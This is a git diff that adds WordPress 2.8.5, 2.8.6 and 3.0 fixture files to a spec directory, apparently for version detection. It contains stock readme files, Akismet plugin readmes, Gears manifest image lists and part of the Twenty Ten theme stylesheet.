"images/media-button-other.gif" }, +{ "url" : "images/media-button-video.gif" }, +{ "url" : "images/menu.png" }, +{ "url" : "images/menu-vs.png" }, +{ "url" : "images/menu-arrows.gif" }, +{ "url" : "images/menu-bits.gif" }, +{ "url" : "images/menu-bits-rtl.gif" }, +{ "url" : "images/menu-dark.gif" }, +{ "url" : "images/menu-dark-rtl.gif" }, +{ "url" : "images/no.png" }, +{ "url" : "images/required.gif" }, +{ "url" : "images/resize.gif" }, +{ "url" : "images/screen-options-left.gif" }, +{ "url" : "images/screen-options-right.gif" }, +{ "url" : "images/screen-options-right-up.gif" }, +{ "url" : "images/se.png" }, +{ "url" : "images/star.gif" }, +{ "url" : "images/toggle-arrow.gif" }, +{ "url" : "images/toggle-arrow-rtl.gif" }, +{ "url" : "images/white-grad.png" }, +{ "url" : "images/white-grad-active.png" }, +{ "url" : "images/wordpress-logo.png" }, +{ "url" : "images/wp-logo.gif" }, +{ "url" : "images/xit.gif" }, +{ "url" : "images/yes.png" }, +{ "url" : "../wp-includes/images/crystal/archive.png" }, +{ "url" : "../wp-includes/images/crystal/audio.png" }, +{ "url" : "../wp-includes/images/crystal/code.png" }, +{ "url" : "../wp-includes/images/crystal/default.png" }, +{ "url" : "../wp-includes/images/crystal/document.png" }, +{ "url" : "../wp-includes/images/crystal/interactive.png" }, +{ "url" : "../wp-includes/images/crystal/text.png" }, +{ "url" : "../wp-includes/images/crystal/video.png" }, +{ "url" : "../wp-includes/images/crystal/spreadsheet.png" }, +{ "url" : "../wp-includes/images/rss.png" }, +{ "url" : "../wp-includes/images/blank.gif" }, +{ "url" : "../wp-includes/images/upload.png" }, +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" }, +{ "url" : "../wp-includes/js/thickbox/tb-close.png" } +]} diff --git a/spec/fixtures/wp_versions/2.8.5/wp-content/plugins/akismet/readme.txt b/spec/fixtures/wp_versions/2.8.5/wp-content/plugins/akismet/readme.txt new file mode 100755 index 00000000..9b2241d8 --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.5/wp-content/plugins/akismet/readme.txt @@ -0,0 +1,46 @@ +=== Akismet === +Contributors: matt, ryan, andy, mdawaffe, tellyworth +Tags: akismet, comments, spam +Requires at least: 2.0 +Tested up to: 2.8.4 + +Akismet checks your comments against the Akismet web service to see if they look like spam or not. + +== Description == + +Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you +review the spam it catches under your blog's "Comments" admin screen. + +Want to show off how much spam Akismet has caught for you? Just put `` in your template. + +See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/). + +PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it. + +== Installation == + +Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/). + +1, 2, 3: You're done! + +== Changelog == + += 2.2.7 = + +* Add a new AKISMET_VERSION constant + += 2.2.6 = + +* Fix a global warning introduced in 2.2.5 +* Add changelog and additional readme.txt tags +* Fix an array conversion warning in some versions of PHP +* Support a new WPCOM_API_KEY constant for easier use with WordPress MU + += 2.2.5 = + +* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls + += 2.2.4 = + +* Fixed a key problem affecting the stats feature in WordPress MU +* Provide additional blog information in Akismet API calls diff --git a/spec/fixtures/wp_versions/2.8.6/readme.html b/spec/fixtures/wp_versions/2.8.6/readme.html new file mode 100755 index 00000000..9cc7b39b --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.6/readme.html @@ -0,0 +1,91 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 2.8.6 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory.
  2. +
  3. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
  4. +
  5. Save the file as wp-config.php
  6. +
  7. Upload everything.
  8. +
  9. Open /wp-admin/install.php in your browser. This should setup the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  10. +
  11. Note the password given to you.
  12. +
  13. The install script should then send you to the login page. Sign in with the username admin and the password generated during the installation. You can then click on 'Profile' to change the password.
  14. +
+ +

Upgrading

+

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

+

Upgrading from any previous WordPress to 2.8.6:

+
    +
  1. Delete your old WP files, saving ones you've modified.
  2. +
  3. Upload the new files.
  4. +
  5. Point your browser to /wp-admin/upgrade.php.
  6. +
  7. You wanted more, perhaps? That's it!
  8. +
+

Template Changes

+

If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, we've created a special guide for you.

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The Development Blog
+
This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

System Recommendations

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.0 or higher.
  • +
  • ... and a link to http://wordpress.org on your site.
  • +
+

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Upgrading from another system

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above.

+ +

XML-RPC and Atom Interface

+

You can now post to your WordPress blog with tools like Windows Live Writer, Ecto, Bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the Blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final notes

+
    +
  • If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the plugin documentation in the Codex. In most all cases you shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

Copyright

+

WordPress is released under the GPL (see license.txt).

+ + + diff --git a/spec/fixtures/wp_versions/2.8.6/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/2.8.6/wp-admin/gears-manifest.php new file mode 100644 index 00000000..f8b10bc4 --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.6/wp-admin/gears-manifest.php @@ -0,0 +1,76 @@ +{ +"betaManifestVersion" : 1, +"version" : "ae52efa2f066ffc235840dc615f051d7", +"entries" : [ +{ "url" : "images/align-center.png" }, +{ "url" : "images/align-left.png" }, +{ "url" : "images/align-none.png" }, +{ "url" : "images/align-right.png" }, +{ "url" : "images/archive-link.png" }, +{ "url" : "images/blue-grad.png" }, +{ "url" : "images/browse-happy.gif" }, +{ "url" : "images/bubble_bg.gif" }, +{ "url" : "images/bubble_bg-rtl.gif" }, +{ "url" : "images/button-grad.png" }, +{ "url" : "images/button-grad-active.png" }, +{ "url" : "images/comment-grey-bubble.png" }, +{ "url" : "images/date-button.gif" }, +{ "url" : "images/ed-bg.gif" }, +{ "url" : "images/fade-butt.png" }, +{ "url" : "images/fav.png" }, +{ "url" : "images/fav-arrow.gif" }, +{ "url" : "images/fav-arrow-rtl.gif" }, +{ "url" : "images/fav-top.png" }, +{ "url" : "images/generic.png" }, +{ "url" : "images/gray-grad.png" }, +{ "url" : "images/icons32.png" }, +{ "url" : "images/icons32-vs.png" }, +{ "url" : "images/list.png" }, +{ "url" : "images/list-vs.png" }, +{ "url" : "images/wpspin_light.gif" }, +{ "url" : "images/wpspin_dark.gif" }, +{ "url" : "images/logo.gif" }, +{ "url" : "images/logo-ghost.png" }, +{ "url" : "images/logo-login.gif" }, +{ "url" : "images/media-button-image.gif" }, +{ "url" : "images/media-button-music.gif" }, +{ "url" : "images/media-button-other.gif" }, +{ "url" : "images/media-button-video.gif" }, +{ "url" : "images/menu.png" }, +{ "url" : "images/menu-vs.png" }, +{ "url" : "images/menu-arrows.gif" }, +{ "url" : "images/menu-bits.gif" }, +{ "url" : "images/menu-bits-rtl.gif" }, +{ "url" : "images/menu-dark.gif" }, +{ "url" : "images/menu-dark-rtl.gif" }, +{ "url" : "images/no.png" }, +{ "url" : "images/required.gif" }, +{ "url" : "images/resize.gif" }, +{ "url" : "images/screen-options-left.gif" }, +{ "url" : "images/screen-options-right.gif" }, +{ "url" : "images/screen-options-right-up.gif" }, +{ "url" : "images/se.png" }, +{ "url" : "images/star.gif" }, +{ "url" : "images/toggle-arrow.gif" }, +{ "url" : "images/toggle-arrow-rtl.gif" }, +{ "url" : "images/white-grad.png" }, +{ "url" : "images/white-grad-active.png" }, +{ "url" : "images/wordpress-logo.png" }, +{ "url" : "images/wp-logo.gif" }, +{ "url" : "images/xit.gif" }, +{ "url" : "images/yes.png" }, +{ "url" : "../wp-includes/images/crystal/archive.png" }, +{ "url" : "../wp-includes/images/crystal/audio.png" }, +{ "url" : "../wp-includes/images/crystal/code.png" }, +{ "url" : "../wp-includes/images/crystal/default.png" }, +{ "url" : "../wp-includes/images/crystal/document.png" }, +{ "url" : "../wp-includes/images/crystal/interactive.png" }, +{ "url" : "../wp-includes/images/crystal/text.png" }, +{ "url" : "../wp-includes/images/crystal/video.png" }, +{ "url" : "../wp-includes/images/crystal/spreadsheet.png" }, +{ "url" : "../wp-includes/images/rss.png" }, +{ "url" : "../wp-includes/images/blank.gif" }, +{ "url" : "../wp-includes/images/upload.png" }, +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" }, +{ "url" : "../wp-includes/js/thickbox/tb-close.png" } +]} diff --git a/spec/fixtures/wp_versions/2.8.6/wp-content/plugins/akismet/readme.txt b/spec/fixtures/wp_versions/2.8.6/wp-content/plugins/akismet/readme.txt new file mode 100755 index 00000000..d9383826 --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.6/wp-content/plugins/akismet/readme.txt @@ -0,0 +1,48 @@ +=== Akismet === +Contributors: matt, ryan, andy, mdawaffe, tellyworth, automattic +Tags: akismet, comments, spam +Requires at least: 2.0 +Tested up to: 2.8.5 + +Akismet checks your comments against the Akismet web service to see if they look like spam or not. + +== Description == + +Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you +review the spam it catches under your blog's "Comments" admin screen. + +Want to show off how much spam Akismet has caught for you? Just put `` in your template. + +See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/). + +PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it. + +== Installation == + +Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/). + +1, 2, 3: You're done! + +== Changelog == + += 2.2.7 = + +* Add a new AKISMET_VERSION constant +* Reduce the possibility of over-counting spam when another spam filter plugin is in use +* Disable the connectivity check when the API key is hard-coded for WPMU + += 2.2.6 = + +* Fix a global warning introduced in 2.2.5 +* Add changelog and additional readme.txt tags +* Fix an array conversion warning in some versions of PHP +* Support a new WPCOM_API_KEY constant for easier use with WordPress MU + += 2.2.5 = + +* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls + += 2.2.4 = + +* Fixed a key problem affecting the stats feature in WordPress MU +* Provide additional blog information in Akismet API calls diff --git a/spec/fixtures/wp_versions/3.0/readme.html b/spec/fixtures/wp_versions/3.0/readme.html new file mode 100755 index 00000000..9b731ae4 --- /dev/null +++ b/spec/fixtures/wp_versions/3.0/readme.html @@ -0,0 +1,109 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 3.0 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+ +

Upgrading

+

Using the Automatic Upgrader

+

If you are upgrading from version 2.7 or higher, you can use the automatic upgrader:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+ +

Upgrading Manually

+
    +
  1. Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+ +

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+ +

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+ +

System Requirements

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.1.2 or higher.
  • +
+ +

System Recommendations

+ + +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Copyright

+

WordPress is released under the GPLv2 (see license.txt).

+ + + + diff --git a/spec/fixtures/wp_versions/3.0/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/3.0/wp-admin/gears-manifest.php new file mode 100644 index 00000000..4afd556e --- /dev/null +++ b/spec/fixtures/wp_versions/3.0/wp-admin/gears-manifest.php @@ -0,0 +1,73 @@ +{ +"betaManifestVersion" : 1, +"version" : "02f0f783bde10a914130292f1b57d409", +"entries" : [ +{ "url" : "images/align-center.png", "ignoreQuery" : true } +{ "url" : "images/align-left.png", "ignoreQuery" : true } +{ "url" : "images/align-none.png", "ignoreQuery" : true } +{ "url" : "images/align-right.png", "ignoreQuery" : true } +{ "url" : "images/archive-link.png", "ignoreQuery" : true } +{ "url" : "images/blue-grad.png", "ignoreQuery" : true } +{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true } +{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/button-grad.png", "ignoreQuery" : true } +{ "url" : "images/button-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true } +{ "url" : "images/date-button.gif", "ignoreQuery" : true } +{ "url" : "images/ed-bg.gif", "ignoreQuery" : true } +{ "url" : "images/fade-butt.png", "ignoreQuery" : true } +{ "url" : "images/fav.png", "ignoreQuery" : true } +{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/generic.png", "ignoreQuery" : true } +{ "url" : "images/gray-grad.png", "ignoreQuery" : true } +{ "url" : "images/icons32.png", "ignoreQuery" : true } +{ "url" : "images/icons32-vs.png", "ignoreQuery" : true } +{ "url" : "images/list.png", "ignoreQuery" : true } +{ "url" : "images/list-vs.png", "ignoreQuery" : true } +{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true } +{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true } +{ "url" : "images/logo.gif", "ignoreQuery" : true } +{ "url" : "images/logo-ghost.png", "ignoreQuery" : true } +{ "url" : "images/logo-login.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-image.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-music.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-other.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-video.gif", "ignoreQuery" : true } +{ "url" : "images/menu.png", "ignoreQuery" : true } +{ "url" : "images/menu-vs.png", "ignoreQuery" : true } +{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/no.png", "ignoreQuery" : true } +{ "url" : "images/required.gif", "ignoreQuery" : true } +{ "url" : "images/resize.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true } +{ "url" : "images/se.png", "ignoreQuery" : true } +{ "url" : "images/star.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/white-grad.png", "ignoreQuery" : true } +{ "url" : "images/white-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true } +{ "url" : "images/wp-logo.png", "ignoreQuery" : true } +{ "url" : "images/xit.gif", "ignoreQuery" : true } +{ "url" : "images/yes.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true } +]} diff --git a/spec/fixtures/wp_versions/3.0/wp-content/themes/twentyten/style.css b/spec/fixtures/wp_versions/3.0/wp-content/themes/twentyten/style.css new file mode 100755 index 00000000..71a129e7 --- /dev/null +++ b/spec/fixtures/wp_versions/3.0/wp-content/themes/twentyten/style.css @@ -0,0 +1,1346 @@ +/* +Theme Name: Twenty Ten +Theme URI: http://wordpress.org/ +Description: The 2010 default theme for WordPress. +Author: the WordPress team +Version: 1.0 +Tags: black, blue, white, two-columns, fixed-width, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style +*/ + + +/* Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html +-------------------------------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + margin: 0; + padding: 0; + border: 0; + vertical-align: baseline; + background: transparent; +} +body { + line-height: 1; +} +h1, h2, h3, h4, h5, h6 { + font-weight: normal; + clear: both; +} +ol, ul { + list-style: none; +} +blockquote { + quotes: none; +} +blockquote:before, blockquote:after { + content: ''; + content: none; +} +del { + text-decoration: line-through; +} +/* tables still need 'cellspacing="0"' in the markup */ +table { + border-collapse: collapse; + border-spacing: 0; +} +a img { border: none; } + + + +/* +LAYOUT: Two columns +DESCRIPTION: Two-column fixed layout with one sidebar right of content +*/ + +#container { + float: left; + margin: 0 -240px 0 0; + width: 100%; +} +#content { + margin: 0 280px 0 20px; +} +#primary, +#secondary { + float: right; + overflow: hidden; + width: 220px; +} +#secondary { + clear: right; +} +#footer { + clear: both; + width: 100%; +} + +/* +LAYOUT: One column, no sidebar +DESCRIPTION: One centered column with no sidebar +*/ + +.one-column #content { + margin: 0 auto; + width: 640px; +} + +/* +LAYOUT: Full width, no sidebar +DESCRIPTION: Full width content with no sidebar; used for attachment pages +*/ + +.single-attachment #content { + margin: 0 auto; + width: 900px; +} + + +/* =Fonts +-------------------------------------------------------------- */ +body, +input, +textarea, +.page-title span, +.pingback a.url { + font-family: Georgia, "Bitstream Charter", serif; +} + +h3#comments-title, +h3#reply-title, +#access .menu, +#access div.menu ul, +#cancel-comment-reply-link, +.form-allowed-tags, +#site-info, +#site-title, +#wp-calendar, +.comment-meta, +.comment-body tr th, +.comment-body thead th, +.entry-content label, +.entry-content tr th, +.entry-content thead th, +.entry-meta, +.entry-title, +.entry-utility, +#respond label, +.navigation, +.page-title, +.pingback p, +.reply, +.widget-title, +.wp-caption-text, +input[type=submit] +{ + font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif; +} +pre { + font-family: "Courier 10 Pitch", Courier, monospace; +} +code { + font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; +} + + + +/* =Structure +-------------------------------------------------------------- */ + +/* The main theme structure */ +#access .menu-header, +div.menu, +#colophon, +#branding, +#main, +#wrapper { + margin: 0 auto; + width: 940px; +} +#wrapper { + margin-top: 20px; + background: #fff; + padding: 0 20px; +} + +/* Structure the footer area */ +#footer-widget-area { + overflow: hidden; +} +#footer-widget-area .widget-area { + float: left; + margin-right: 20px; + width: 220px; +} +#footer-widget-area #fourth { + margin-right: 0; +} +#site-info { + float: left; + width: 700px; + font-weight: bold; + font-size: 14px; +} +#site-generator { + float: right; + width: 220px; +} + + + +/* =Global Elements +-------------------------------------------------------------- */ + +/* Main global 'theme' and typographic styles */ +body { + background: #f1f1f1; +} + +body, +input, +textarea { + color: #666; + font-size: 12px; + line-height: 18px; +} +hr { + background-color: #E7E7E7; + border:0; + height: 1px; + margin-bottom: 18px; + clear:both; +} + +/* Text elements */ +p { + margin-bottom: 18px; +} +ul { + list-style: square; + margin: 0 0 18px 1.5em; +} +ol { + list-style: decimal; + margin: 0 0 18px 1.5em; +} +ol ol { + list-style:upper-alpha; +} +ol ol ol { + list-style:lower-roman; +} +ol ol ol ol { + list-style:lower-alpha; +} +ul ul, +ol ol, +ul ol, +ol ul { + margin-bottom:0; +} +dl { + margin:0 0 24px 0; +} +dt { + font-weight: bold; +} +dd { + margin-bottom: 18px; +} +strong { + font-weight: bold; +} +cite, +em, +i { + font-style: italic; +} +big { + font-size: 131.25%; +} +ins { + background: #ffc; + text-decoration: none; +} +blockquote { + font-style: italic; + padding: 0 3em; +} +blockquote cite, +blockquote em, +blockquote i { + font-style: normal; +} +pre { + background: #f7f7f7; + color: #222; + line-height: 18px; + margin-bottom: 18px; + padding: 1.5em; +} +abbr, +acronym { + border-bottom: 1px dotted #666; + cursor: help; +} + +sup, +sub { + height: 0; + line-height: 1; + vertical-align: baseline; + position: relative; +} +sup { + bottom: 1ex; +} +sub { + top: .5ex; +} +input[type="text"], +textarea { + padding: 2px; + background: #f9f9f9; + border: 1px solid #ccc; + box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1); + -moz-box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1); + -webkit-box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1); +} +a:link { + color:#0066CC; +} +a:visited { + color:#743399; +} +a:active, +a:hover { + color: #FF4B33; +} + +/* Text meant only for screen readers */ +.screen-reader-text { + position: absolute; + left: -9000px; +} + + + +/* =Header +-------------------------------------------------------------- */ + +#header { + padding: 30px 0 0 0; +} +#site-title { + float: left; + margin: 0 0 18px 0; + width: 700px; + font-size: 30px; + line-height: 36px; +} +#site-title a { + color: #000; + font-weight: bold; + text-decoration: none; +} +#site-description { + clear: right; + float: right; + font-style: italic; + margin: 14px 0 18px 0; + width: 220px; +} + +/* This is the custom header image */ +#branding img { + clear: both; + border-top: 4px solid #000; + display: block; + border-bottom: 1px solid #000; +} + + + +/* =Menu +-------------------------------------------------------------- */ + +#access { + background: #000; + margin: 0 auto; + width: 940px; + display:block; + float:left; +} +#access .menu-header, +div.menu { + font-size: 13px; + margin-left: 12px; +} +#access .menu-header ul, +div.menu ul { + list-style: none; + margin: 0; +} +#access .menu-header li, +div.menu li { + float:left; + position: relative; +} +#access a { + display:block; + text-decoration:none; + color:#aaa; + padding:0 10px; + line-height:38px; +} +#access ul ul { + display:none; + position:absolute; + top:38px; + left:0; + float:left; + box-shadow: 0px 3px 3px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 3px 3px rgba(0,0,0,0.2); + -webkit-box-shadow: 0px 3px 3px rgba(0,0,0,0.2); + width: 180px; + z-index: 99999; +} +#access ul ul li { + min-width: 180px; +} +#access ul ul ul { + left:100%; + top:0; +} +#access ul ul a { + background:#333; + height:auto; + line-height:1em; + padding:10px; + width: 160px; +} +#access li:hover > a, +#access ul ul :hover > a { + color:#fff; + background:#333; +} +#access ul li:hover > ul { + display:block; +} +#access ul li.current_page_item > a, +#access ul li.current-menu-ancestor > a, +#access ul li.current-menu-item > a, +#access ul li.current-menu-parent > a { + color: #fff; +} + +* html #access ul li.current_page_item a, +* html #access ul li.current-menu-ancestor a, +* html #access ul li.current-menu-item a, +* html #access ul li.current-menu-parent a, +* html #access ul li a:hover { + color:#fff; +} + +/* =Content +-------------------------------------------------------------- */ + +#main { + overflow: hidden; + padding: 40px 0 0 0; +} +#content { + margin-bottom: 36px; +} +#content, +#content input, +#content textarea { + color: #333; + font-size: 16px; + line-height: 24px; +} +#content p, +#content ul, +#content ol, +#content dd, +#content pre, +#content hr { + margin-bottom:24px; +} +#content ul ul, +#content ol ol, +#content ul ol, +#content ol ul { + margin-bottom:0; +} +#content pre, +#content kbd, +#content tt, +#content var { + font-size: 15px; + line-height: 21px; +} +#content code { + font-size: 13px; +} +#content dt, +#content th { + color: #000; +} +#content h1, +#content h2, +#content h3, +#content h4, +#content h5, +#content h6 { + color: #000; + margin: 0 0 20px 0; + line-height: 1.5em; +} +#content table { + border: 1px solid #e7e7e7; + text-align: left; + margin: 0 -1px 24px 0; + width: 100%; +} +#content tr th, +#content thead th { + color: #888; + font-size: 12px; + font-weight: bold; + line-height: 18px; + padding: 9px 24px; +} +#content tr td { + border-top: 1px solid #e7e7e7; + padding: 6px 24px; +} 